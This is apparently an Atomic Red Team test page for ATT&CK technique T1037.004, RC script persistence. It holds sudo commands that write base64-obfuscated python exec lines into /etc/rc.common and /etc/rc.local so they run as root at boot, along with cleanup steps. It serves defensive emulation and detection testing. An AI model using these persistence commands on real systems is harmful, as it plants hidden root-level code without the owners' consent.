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T1037.004 - RC Scripts

Description from ATT&CK

Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.

Adversaries can establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.

Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)

Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of Launchd. (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)

Atomic Tests


Atomic Test #1 - rc.common

Modify rc.common

Reference

Supported Platforms: macOS

Attack Commands: Run with bash! Elevation Required (e.g. root or admin)

sudo echo osascript -e 'tell app "Finder" to display dialog "Hello World"' >> /etc/rc.common


Atomic Test #2 - rc.common

Modify rc.common

Supported Platforms: Linux

Attack Commands: Run with bash! Elevation Required (e.g. root or admin)

filename='/etc/rc.common';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.common.original;fi
printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.common
echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMuY29tbW9uID4gL3RtcC9UMTAzNy4wMDQucmMuY29tbW9uJykK'))\"" | sudo tee -a /etc/rc.common
printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.common
sudo chmod +x /etc/rc.common

Cleanup Commands:

origfilename='/etc/rc.common.original';if [ ! -f $origfilename ];then sudo rm /etc/rc.common;else sudo cp $origfilename /etc/rc.common && sudo rm $origfilename;fi


Atomic Test #3 - rc.local

Modify rc.local

Supported Platforms: Linux

Attack Commands: Run with bash! Elevation Required (e.g. root or admin)

filename='/etc/rc.local';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.local.original;fi
printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.local
echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMubG9jYWwgPiAvdG1wL1QxMDM3LjAwNC5yYy5sb2NhbCcpCgo='))\"" | sudo tee -a /etc/rc.local
printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.local
sudo chmod +x /etc/rc.local

Cleanup Commands:

origfilename='/etc/rc.local.original';if [ ! -f $origfilename ];then sudo rm /etc/rc.local;else sudo cp $origfilename /etc/rc.local && sudo rm $origfilename;fi